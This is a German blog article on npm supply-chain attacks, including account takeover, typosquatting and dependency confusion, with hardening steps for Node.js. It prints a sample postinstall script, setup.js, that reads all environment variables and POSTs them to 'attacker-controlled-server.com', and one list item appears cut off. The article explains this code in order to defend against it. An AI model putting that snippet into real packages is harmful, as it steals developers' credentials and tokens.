Npm-Lieferkettenangriffe: Wie sie funktionieren und wie man Node.js schützt
Erklärt, wie Angriffe auf die npm-Lieferkette wie Account-Übernahmen, Typosquatting und Abhängigkeitsprobleme funktionieren, sowie konkrete Schritte zur Stärkung von Node.js-Installationen.
Wenn Sie npm install express ausführen, laden Sie weitaus mehr als nur eine Routing-Bibliothek herunter. In diesem einzigen Befehl sind Hunderte von verschachtelten Paketen verborgen, die von Personen entwickelt wurden, mit denen Sie noch nie in Kontakt waren und wahrscheinlich auch niemals in Kontakt kommen werden.
Die meisten Entwickler betrachten Paketmanager als neutrale Hilfsmittel: Man beantragt ein Tool, es wird heruntergeladen und man kann mit der Arbeit fortfahren. Doch diese Annahme gilt in der Welt von JavaScript nicht mehr. Angreifer bemühen sich heutzutage selten noch darum, ein Unternehmens-Firewall zu durchbrechen oder einen Produktions-Anmeldeablauf zu reverse-engineern. Es ist viel einfacher, bösartigen Code in eine Abhängigkeit einzuschleusen, auf die Ihr Team bereits angewiesen ist und der es bedingungslos vertraut.
npm install ist nicht länger eine passive Lade- und Speicheroperation. Es handelt sich im Grunde um willkürliche Codeausführung – auf Ihrem Laptop, innerhalb Ihres CI/CD-Pipelines und letztendlich in Ihrer Produktionsinfrastruktur.
Was ist ein Angriff auf die Lieferkette in Node.js?
Klassische Web-Sicherheitsprobleme beziehen sich auf Fehler wie SQL-Injection oder Cross-Site Scripting, die direkt in der von Ihnen entwickelten Anwendung vorhanden sind.
Ein Angriff auf die Software-Lieferkette funktioniert anders. Ihre eigene Codebasis mag fehlerfrei sein und alle bekannten Best Practices befolgen. Doch wenn ein von Ihnen genutztes Drittanbieter-Paket manipuliert wurde, basiert dieser fehlerfreie Code auf einer kompromittierten Grundlage, wodurch das gesamte System gefährdet ist.
Dieser Art von Angriff zielt auf die Mechanismen ab, mit denen Ihre Software erstellt und verteilt wird, nicht auf die Software selbst. In der Node.js-Welt gehören zu diesen Mechanismen:
- Open-Source-Pakete, die im npm-Registry gehostet sind
- Transitive Abhängigkeiten – die Pakete, von denen wiederum Ihre direkten Abhängigkeiten abhängen
- Skripte, die während der Installation automatisch ausgeführt werden
Wenn eine einzige Verbindung in dieser Kette kompromittiert wird, erbt jedes nachfolgende Projekt beim nächsten Installieren die bösartige Payload.
Wie Angreifer npm ausnutzen: Drei reale Angriffsmodelle
Diese Angriffe sind nicht zufällig. Sie beruhen auf vorhersehbaren, strukturellen Eigenschaften des npm-Ökosystems. Im Folgenden werden die drei Angriffsmodelle aufgeführt, denen Sie am ehesten begegnen werden.
1. Kontoverwaltung und kompromittierte Wartungsteams
Viele weit verbreitete npm-Pakete werden von unbezahlten Freiwilligen in ihrer Freizeit am Leben erhalten. Angreifer sind sich dessen bewusst und konzentrieren sich statt auf den Quellcode auf die Person, die ihn veröffentlicht.
Zu den typischen Methoden gehören:
- Credential Stuffing: Versuche, durchgesickerte Benutzername-Passwort-Kombinationen bei npm-Konten einzusetzen, die keine Mehrfaktorauthentifizierung haben.
- Phishing: Vortäuschen, man gehöre zum npm-Sicherheitsteam, per E-Mail, um Betreuer dazu zu bringen, ihre Anmeldedaten preiszugeben.
- Trojanische Pull Requests: Über einen längeren Zeitraum wirklich nützliche, kleine Korrekturen beizusteuern, um Vertrauen aufzubauen und Zugriff auf Commit-Vorgänge zu erlangen, um anschließend, sobald dieses Vertrauen gewonnen ist, eine versteckte Hintertür einzubauen.
Sobald der Veröffentlichungszugriff gesichert ist, sendet der Angreifer einen scheinbar normalen Patch-Update – sagen wir von 2.1.4 auf 2.1.5. Da so viele package.json-Dateien Pfeil-Rangierungen wie ^2.1.4 verwenden, übernehmen automatisierte Builds überall die verseuchte Version, ohne dass jemand es bemerkt.
2. Typosquatting und Markenverwechslung
Typoquatting nutzt einfache menschliche Fehler aus. Ein Angreifer registriert einen Paketnamen, der optisch oder textlich fast nicht von einer bekannten Bibliothek zu unterscheiden ist.
Einige veranschaulichende Beispiele:
- Echtes Paket:
cross-env - Böswilliger Lookalike:
crossenv - Echtes Paket:
colors - Böswilliger Lookalike:
colour
Falls Sie beim Eingeben von npm i <package> den falschen Namen eingeben, installieren Sie stattdessen die Version des Angreifers. Diese Betrügerpakete ahmen oft die echte API fast genau nach, sodass Ihr Testumfeld weiterhin normal funktioniert, während im Hintergrund bösartiges Verhalten ausgeführt wird.
3. Abhängigkeitsverwirrung
Unternehmen pflegen häufig private interne Pakete – wie zum Beispiel @company/auth-client oder company-auth.
Falls das interne Registry falsch konfiguriert ist, kann der npm-Client dazu neigen, das öffentliche Registry zu durchsuchen, anstatt zunächst das private zu prüfen, wenn er diesen internen Paketnamen auflösen muss. Angreifer nutzen dies aus, indem sie öffentliche Repositorien und Dokumentationen nach Hinweisen auf diese privaten Paketnamen durchsuchen und anschließend Pakete unter genau diesen Namen im öffentlichen npm-Registry veröffentlichen, wobei sie ihnen eine absurd hohe Versionnummer wie 99.9.9 zuweisen.
Wenn Ihr Build-Prozess ausgeführt wird, vergleicht npm die Versionen, stellt fest, dass die Version des öffentlichen Pakets höher ist, und installiert den Code des Angreifers anstelle Ihres legitimen internen Moduls.
Was im Hintergrund passiert: Die Gefahr von Lifecycle-Skripten
Warum birgt allein die Installation eines Pakets so viele Risiken? Warum würde bösartiger Code ausgeführt werden, bevor Ihre Anwendung jemals require() oder import für diese Bibliothek aufruft?
Der dafür verantwortliche Mechanismus sind Lifecycle-Skripte.
In package.json unterstützt npm Shell-Befehle, die automatisch in bestimmten Phasen der Installation ausgeführt werden. Die gefährlichsten dieser Hooks sind preinstall, install und postinstall.
Unten finden Sie ein scheinbar harmloses package.json, das zu einer kompromittierten Abhängigkeit gehört:
{
"name": "useful-string-helper",
"version": "1.0.1",
"scripts": {
"postinstall": "node ./setup.js"
}
}
Die Beschreibung könnte behaupten, dass setup.js ein natives Binärdatei kompiliert oder lokale Konfigurationsdateien vorbereitet. In Wirklichkeit könnte setup.js etwas Ähnliches wie Folgendes enthalten:
// setup.js (Runs automatically during npm install)
const { exec } = require("child_process");
const https = require("https");
// Read environment variables (AWS keys, database passwords, tokens)
const sensitiveData = JSON.stringify(process.env);// Send captured data to an attacker-controlled endpoint
const req = https.request({
hostname: "attacker-controlled-server.com",
port: 443,
path: "/collect",
method: "POST",
headers: {
"Content-Type": "application/json",
"Content-Length": sensitiveData.length
}
});req.write(sensitiveData);
req.end();
So ist tatsächlich vorgegangen:
- Sie haben
npm install useful-string-helpereingegeben. - npm hat sofort
node ./setup.jsausgeführt. - Ihre lokalen Umgebungsvariablen – wie
AWS_SECRET_ACCESS_KEY,DATABASE_URLoderNPM_TOKEN– wurden direkt aus dem Systemspeicher abgerufen. - Diese Geheimnisse wurden über HTTPS an einen vom Angreifer kontrollierten Server übertragen.
Bemerken Sie, dass dafür weder ein Import des Pakets noch das Starten Ihrer Anwendung erforderlich war. Schon die Ausführung von npm install, sei es auf Ihrem eigenen Rechner oder innerhalb eines CI-Runners, reichte aus, um Ihre Geheimnisse vollständig zu kompromittieren.
Praktische Verteidigung: Absicherung Ihres Node.js-Ablaufs
Es ist nicht realistisch, auf Drittanbieter-Pakete zu verzichten. Das gesamte Ökosystem der modernen Entwicklung basiert auf Open-Source-Bausteinen. Was Sie jedoch kontrollieren können, ist, wie sorgfältig Sie diese Abhängigkeiten in Ihr Projekt aufnehmen.
1. Installationsskripte standardmäßig deaktivieren
Sollte ein Paket tatsächlich während der Installation ein benutzerdefiniertes Skript ausführen müssen, deaktivieren Sie dieses Verhalten:
npm install --ignore-scripts
Um diese Regel im gesamten Projekt anzuwenden, anstatt sie jedes Mal einzutippen, fügen Sie eine .npmrc-Datei in die Wurzel Ihres Repositoriums hinzu:
# .npmrc
ignore-scripts=true
Falls ein Paket tatsächlich eine native Kompilierung benötigt – beispielsweise ein Datenbanktreiber oder eine Bildverarbeitungsbibliothek – können Sie den Build-Prozess dafür trotzdem manuell auslösen oder bestimmte Pakete über die von Paketverwaltern wie pnpm oder yarn angebotenen Plugin-Systeme auswählen.
2. Sichern Sie Ihre Abhängigkeiten streng ab
Sorgen Sie dafür, dass immer ein Lockfile zum Code gehört, den Sie in das Versionskontrollsystem einchecken – sei es package-lock.json, pnpm-lock.yaml oder yarn.lock, je nachdem, welches Tool Sie verwenden.
Ein Lockfile speichert die genaue Version, die heruntergeladene Download-URL sowie einen kryptografischen Integritäts-Hash (SHA-512) für jedes installierte Paket. Solange dieser Hash vorhanden ist, kann npm bestätigen, dass der aktuell heruntergeladene Code bytegenau mit dem übereinstimmt, was bei der Erstellung des Lockfiles erfasst wurde.
In CI/CD-Pipelines sollten Sie immer Folgendes verwenden:
npm ci
Vermeiden Sie es, während des Deployments einfach nur npm install auszuführen. npm ci hält sich strikt an die Angaben in package-lock.json und löscht vorher jede vorhandene node_modules-Datei, wodurch eine heimliche Erhöhung der Versionen verhindert wird.
3. Schützen Sie die Geheimnisse Ihrer Umgebung
Vermeiden Sie es, soweit möglich, Produktionsdaten in unverschlüsselten .env-Dateien auf Ihrem Laptop zu speichern. Entwicklungsrechner sind besonders attraktive Ziele, weil sie in der Regel eine schwächere Sicherheitsüberwachung aufweisen als Cloud-Infrastrukturen, obwohl sie weiterhin gültige Zugangsdaten zu Produktionsdatenbanken und Cloud-Konten enthalten.
- Wählen Sie lieber kurzfristig gültige Zugangsdaten, wie sie beispielsweise über AWS IAM Identity Center oder ähnliche Systeme mit temporären Tokenen bereitgestellt werden.
.bashrc oder .zshrc.4. Verwenden Sie automatisierte Scannungstools
Kein Scanner erfasst alles, aber automatisierte Tools sind schnell darin, Pakete zu erkennen, die bereits als bösartig oder anfällig bekannt sind.
- Führen Sie regelmäßig
npm auditdurch, um Pakete mit bekannten CVEs aufzudecken. - Fügen Sie einen Dienst wie Socket.dev, Snyk oder GitHubs eigenen Dependabot als obligatorische Überprüfung zu jeder Pull-Request hinzu.
- Socket.dev prüft beispielsweise, was ein Paket tatsächlich im Hintergrund tut – Netzwerkanfragen senden, auf die Festplatte schreiben, Shell-Befehle ausführen – bevor es in Ihr Projekt gelangt.
Der Kompromiss: Sicherheit versus Entwicklergeschwindigkeit
Niemand dieser Absicherungsmaßnahmen ist kostenlos.
Die Aktivierung von ignore-scripts=true kann Pakete stören, die auf nativen C++-Bindings angewiesen sind, wie zum Beispiel bcrypt oder sharp. In solchen Fällen muss jemand im Team Zeit investieren, um den Build-Fehler zu diagnostizieren oder den Kompilierungsprozess manuell einzurichten.
Ebenso bedeutet das Festlegen jeder Abhängigkeitsversion, dass Fehlerbehebungen nicht automatisch in Ihr Projekt gelangen. Sie müssen regelmäßig Zeit einplanen – wöchentlich oder pro Sprint –, um absichtlich Abhängigkeiten zu testen und zu aktualisieren, anstatt sie sich selbst aktualisieren zu lassen.
Für ein kleines Nebenprojekt mag dieses Maß an Disziplin wie unnötiger Widerstand erscheinen. Doch sobald eine Anwendung mit Kundendaten, Rechnungsdetails oder der Produktionsinfrastruktur in Berührung kommt, wird genau dieser Widerstand zum wichtigsten Faktor, der Sie vor stillschweigenden Kompromissen schützt.
Zusammenfassende Checkliste für Node.js-Entwickler
Vor dem Hinzufügen der nächsten Abhängigkeit sollten Sie diese Grundsätze im Hinterkopf behalten:
- Betrachten Sie
npm installals Ausführung von Code: Jedes Paket, das Sie hinzufügen, wird mit denselben Berechtigungen wie Ihr eigenes Benutzerkonto ausgeführt. - Fragen Sie sich bei neuen Add-ons: Prüfen Sie, ob Sie tatsächlich ein vollständiges Paket für eine möglicherweise nur zehn Zeilen lange Hilfsfunktion benötigen.
- Deaktivieren Sie Skripte, wo immer möglich: Setzen Sie
ignore-scripts=truein.npmrc, um die meisten nach der Installation auftretenden Angriffe zu verhindern. - Committen Sie immer die Lockdatei: Halten Sie
package-lock.jsonauf dem neuesten Stand und verlangen Sie bei jedem CI/CD-Ausführungsvorgangnpm ci. - Überprüfen Sie die Zugriffsrechte: Beschränken Sie, was Ihre lokale Shell sowie Ihre CI-Runner tatsächlich erreichen dürfen.
Das Ökosystem von JavaScript bietet Entwicklern enorme Geschwindigkeit und Flexibilität. Indem man sorgfältig damit umgeht, wie Abhängigkeiten verwaltet werden, kann verhindert werden, dass diese Geschwindigkeit heimlich die Integrität der Systeme untergräbt.
Verwandte Artikel
- Behebung von Fehlern bei der Fehlerbehandlung mit Async/Await in Node.js-Produktionscode — Lernen Sie fünf häufige Fehler bei der Fehlerbehandlung mit async/await in JavaScript und Node.js, die zu stillen Fehlern und Rennbedingungen führen, sowie konkrete Lösungen.
- Setup-Guide für React + Vite (2026): Ihre erste funktionierende Anwendung erklärt — Schritt für Schritt wird gezeigt, wie Node.js, npm, VS Code und Vite installiert werden, um eine React-Anwendung zu erstellen, wobei gleichzeitig erklärt wird, was jede dieser Tools im Hintergrund tut.